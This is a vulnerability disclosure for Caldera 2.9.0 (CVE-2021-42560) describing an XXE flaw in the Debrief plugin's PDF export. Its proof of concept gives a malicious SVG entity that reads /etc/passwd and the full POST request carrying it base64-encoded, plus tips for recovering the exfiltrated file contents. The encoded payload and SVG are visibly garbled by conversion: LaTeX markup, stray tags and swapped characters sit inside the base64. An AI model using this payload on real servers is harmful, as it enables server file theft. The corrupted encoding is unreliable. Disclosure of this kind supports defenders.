Caldera Disclosures

Version 2.9.0

Environment:

- Caldera 2.9.0
- Ubuntu Linux

Findings:

1. CVE-2021-42560: Unsafe XML Parsing

Description:

The Debrief plugin receives base64 encoded "SVG" parameters when generating a PDF. These SVG are parsed in an unsafe manner and can be leveraged for XXE attacks (e.g. File Exfiltration, Server-Side Request Forgery, Out of Band Exfiltration, etc.).

Proof of Concept:

In this example we will replace the "fact" SVG with a valid malicious payload that contains an inline XML External Entity (XXE) which will be used to exfiltrate the "/etc/passwd" file.

The malicious SVG will have the following form:

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><svg</pre>
xmlns="http://www.w3.org/2000/svg" id="copy-svg" class="op-svg debrief-svg" style="width:
100%; height: 100%;" viewBox="2660 910 1199.699951171875 180"><defs><marker
id="arrowheadtechnique" viewBox="-0 -5 10 10" refX="30" refY="0" orient="auto" markerWidth="8"
markerHeight="8" xoverflow="visible"><path d="M 0,-5 L 10 ,0 L 0,5" fill="#999" style="stroke:
none;"/></marker></defs><g class="container" width="100%" height="100%"
transform="scale(5)"><g style="stroke: rgb(170, 170, 170);"/><g class="nodes"><g class="nod
operation" transform="translate(550,200)"><circle r="16" style="fill: rgb(239, 239, 239);
stroke: rgb(66, 66, 66); stroke-width: 1px;"/><text class="label" x="18" y="8" style="font-
size: 12px; fill: rgb(51, 51, 51);">&test;</text><g class="icons"><svg version="1.0"</pre>
xmlns="http://www.w3.org/2000/svg" width="32" height="16" viewBox="0 0 270.000000 255.000000"
preserveAspectRatio="xMidYMid meet" class="svg-icon" x="-16" y="-8">
<g transform="translate(0.000000,255.000000) scale(0.100000,-0.100000)" fill="#000000"</pre>
stroke="none">
<path d="M593 2540 c-237 -43 -459 -238 -545 -480 -20 -58 -23 -83 -22 -220 0 -139 3 -164 28</pre>
245 78 -257 252 -542 518 -850 132 -152 476 -487 637 -620 73 -60 137 -110 141 -110 17 0 279 226 430 371 326 312 534 563 701 843 269 451 272 812 9 1094 -187 202 -445 272 -675 186 -131 -49 -
273 -176 -384 -345 -38 -58 -72 -111 -75 -117 -4 -9 -8 -9 -11 -1 -3 6 -37 60 -76 119 -118 181
267 309 -416 355 -76 23 -190 32 -260 20z m452 -542 c23 -22 32 -57 125 -557 55 -294 102 -537
105 -539 6 -6 8 -2 165 415 74 194 142 362 153 373 26 29 74 23 99 -11 11 -14 54 -143 95 -285 41
-142 77 -261 80 -264 2 -2 52 46 111 108 1107 112 133 0 c72 0 132 -4 132 -8 0 -5 -18 -37 -40 -
70 1-40 -62 -62 0 -63 0 -134 -150 c-73 -82 -142 -152 -153 -156 -29 -9 -66 4 -82 29 -8 12 -42
315 125 360 169 360 11 0 31 -10 46 -22z"/>
</svg>undefined</g></g></g></svg>
```

Now we base64 encode the above SVG and insert it into the PDF creation POST request.

Request:

```
POST /plugin/debrief/pdf HTTP/1.1
 Host: 127.0.0.1:8888
Content-Type: application/json
Content-Length: 39124
 Cookie: API SESSION="gAAAAA***TRUNCATED***vO8lJ6w=="
 {"operations":["228395"],"graphs":{"graph":"PHN2ZyB4bWxucz0iaHR0cDov***TRUNCATED***PjwvZz48L2c
 +PC9zdmc+"
 "tactic": "PHN2ZyB4bWxucz0iaHR0cDovL3***TRUNCATED***PjwvZz48L2c+PC9nPjwvc3ZnPg==",
 "technique": "PHN2ZyB4bWxucz0iaHR0cDo***TRUNCATED***PC9nPjwvZz48L2c+PC9nPjwvc3ZnPg==",
 "fact": "PCFET0NUWVBF1HJvb3QgWzwhRU5USVRZ1HRlc3QgU11TVEVNICdmaWx10i8vL2V0Yy9wYXNzd2QnP10+PHN2Zy
{\tt B4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG1kPSJjb3B5LXN2ZyIgY2xhc3M9Im9wLXN2ZyBkZWJyaWVml} \\
LXN2ZyJgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IiB2aWV3Qm94PSIyNjYwIDkxMCAxMTk5LjY5OTk1MT
\label{thm:continuous} {\tt VyZmxvdz0idmlzaWJsZSI+PHBhdGggZD0iTSAwLC01IEwgMTAgLDAgTCAwLDUiIGZpbGw9IiM5OTkiIHN0eWxlPSJzdHJvvl} \\ {\tt VyZmxvdz0idmlzaWJsZSI+PHBhdGggZD0iTSAwLDUiIGZpbGw9IiM5OTkiIHN0eWxlPSJzdHJvvl} \\ {\tt VyZmxvdz0idwlditAgLDAgTCAwLDUiIGZpbGw9IiM5OTkiIHN0eWxlPSJzdHJvvl} \\ {\tt VyZmxvdz0idwlditAgLDAgTCAwLDUiIGZpbGw9IiM5OTkiIHN0eWxlPSJzdHJvvl} \\ {\tt VyZmxvdz0idwlditAgLDAgTCAwLDUiIGZpbGw9IiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5OTkiIHN0eWxlDiiM5O
a2U6IG5vbmU7Ii8+PC9tYXJrZXI+PC9kZWZzPjxnIGNsYXNzPSJjb250YWluZXIiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9Ij
\textbf{EwMCUiIHRyYW5zZm9ybT0ic2NhbGUoNSkiPjxnIHN0eWxlPSJzdHJva2U6IHJnYigxNzAsIDE3MCwgMTcwKTsiLz48ZyBj} \\
bGFzcz0ibm9kZXMiPjxnIGNsYXNzPSJub2RlIG9wZXJhdGlvbiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoNTUwLDIwMCkiPj
xjaXJjbGUgcj0iMTYiIHN0eWx1PSJmaWxsOiByZ2IoMjM5LCAyMzksIDIzOSk7IHN0cm9rZTogcmdiKDY2LCA2NiwgNjYp
{\tt OyBzdHJva2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGg6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGy6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZm9udC1zaXa2Utd21kdGy6IDFweDsiLz48dGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiB5PSI4IiBzdHlsZT0iZw9udC1zaXa2Utd21kdGV4dCBjbGFzcz0ibGFzcz0ibGFiZWwiIHg9IjE4IiBzdHlsZT0iZw9udC1zaXa2Utd21kdGV4dCBjbGFzcz0ibGFiZWwiIHg9IjE4IiBzdHlsZT0iZw9udC1zaXa2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21kdC1zA2Utd21
ZpZXdCb3q9IjAqMCAyNzAuMDAwMDAwIDI1NS4wMDAwMDAiIHByZXN1cnZlQXNwZWN0UmF0aW89InhNaWRZTWlkIG11ZXQi
  \textbf{IGNsYXNzPSJzdmctaWNvbiIgeD0iLTE2IiB5PSItOCI+CjxnIHRyYW5zZm9ybT0idHJhbnNsYXR1KDAuMDAwMDAwLDI1NS} \\
 4wMDAwMDApIHNjYWxlKDAuMTAwMDAwLCOwLjEwMDAwMCkiIGZpbGw9IiMwMDAwMDAiIHNOcm9rZT0ibm9uZSI+CjxwYXRo
 \textbf{IGQ9Ik010TMgMjU0MCBjLTIzNyAtNDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIyIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIyIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIyIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIyIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIyIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIyIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIYIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIYIC0yMjAgMCDMgLTQ10SAtMjM4IC01NDUgLTQ4MCAtMjAgLTU4IC0yMyAtODMgLTIYIC0yMjAgMCDMgLTQ4MCAtMjM4IC01NDUgLTQ4MCAtMjAgMCDMgLTQ4MCAtMjAgMCDMgLTQ4MCAtMjAgMCDMgLTQ4MCAtMjM4IC01NDUgLTQ4MCAtMjAgMCDMgLTQ4MCAtMjAgMCDMgLTQ4MCAtMjM4IC01NDUgLTQ4MCAtMjAgMCAtMjAgMCDMgLTQ4MCAtMjM4IC01NDUgLTQ4MCAtMjM4IC01NDUgLTQ4MCAtMjAgMCDMgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MJM4IC01NDUgLTQ4MJM4IC01NDUgLTQ4MCATMjM4IC01NDUgLTQ4MJMAIC0NDUgLTQ4MJMAIC0NDUgLTQ4MJMAIC0NDUgLTQ4MJMAIC0NDUgLTQ4MJMAIC0NDUgLTQ4MJMMAIC0NDUgLTQ4MJMMAIC0NDUgLTQ4MJMMAIC0NDUgLTQ4MJMMAIC0NDUgLTQ4MJMMAIC0NDUgLTQ4MJMMAIC0NDUgLTQ4MJ
AtmTM5IDMgLTE2NCAyOCAtmjQ1IDc4ICOyNTcgMjUyICO1NDIgNTE4ICO4NTAgMTMyICOxNTIgNDc2ICO00DcgNjM3ICO2MjAgNzMgLTYwIDEzNyAtmTEwIDE0MSAtmTEwIDE3IDAgMjc5IDIyNiA0MzAgMzcxIDMyNiAzMTIgNTM0IDU2MyA3MDEgOD
{\tt QzID12OSA0NTEgMjcyIDgxMiA5IDEwOTQgLTE4NyAyMDIgLTQ0NSAyNzIgLTY3NSAxODYgLTEzMSAtNDkgLTI3MyAtMTc2}
 ICOzODQgLTM0NSAtmzggLTU4ICO3MiAtmTExICO3NSAtMTE3ICO0ICO5ICO4ICO5ICOxMSAtMSAtMyA2ICOzNyA2MCAtNz
YgMTE5IC0xMTggMTgxIC0yNjcgMzA5IC00MTYgMzU1IC03NiAyMyAtMTkwIDMyIC0yNjAgMjB6IG00NTIgLTU0MiBjMjMg
\verb|LTIyIDMyICO1NyAxMjUgLTU1NyA1NSAtMjkOIDEwMiAtNTM3IDEwNSAtNTM5IDYgLTYgOCAtMiAxNjUgNDE1IDcOIDE5NC|\\
{\tt AxNDIGMzYyIDE1MyAzNzMgMjYgMjkgNzQgMjMgOTkgLTExIDExIC0xNCA1NCAtMTQzIDk1IC0yODUgNDEgLTE0MiA3NyAtminus} \\
MjYxIDgwIC0yNjQgMiAtMiA1MiA0NiAxMTEgMTA4IGwxMDcgMTEyIDEzMyAwIGM3MiAwIDEzMiAtNCAxMzIgLTggMCAtNS
AtMTggLTM3IC00MCAtNzAgbC00MCAtNjIgLTYyIDAgLTYzIDAgLTEzNCAtMTUwIGMtNzMgLTgyIC0xNDIgLTE1MiAtMTUz
ICOxNTYgLTI5ICO5ICO2NiA0ICO4MiAyOSAtOCAxMiAtNDIgMTE5ICO3NiAyMzcgLTM0IDExOCAtNjUgMjE5ICO2OCAyMj
{\tt AtMTgyIC0zNiAtMTA4IC03NCAtMjA1IC04NCAtMjE2IC0yNyAtMjkgLTcwIC0zNCAtMjQ2IC0yNiBsLTE10CA3IC00MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21C0MSA21
 {\tt OCAtNDEgNjkgMTk0IDAgMTk0IDAgMTAxIDMxMCBjMTA0IDMxNSAxMjUgMzYwIDE2OSAzNjAgMTEgMCAzMSAtMTAgNDYgLT}
 IyeiIvPgo8L2c+Cjwvc3ZnPnVuZGVmaW51ZDwvZz48L2c+PC9nPjwvZz48L3N2Zz4="}}
```

The resulting PDF will contain the exfiltrated content of the "/etc/passwd" file:



Note: Modifications can be made to the SVG text proportions/wrap properties to display the whole file contents. Another option may be to use tools that extract text from PDFs in order to recover all the exfiltrated information.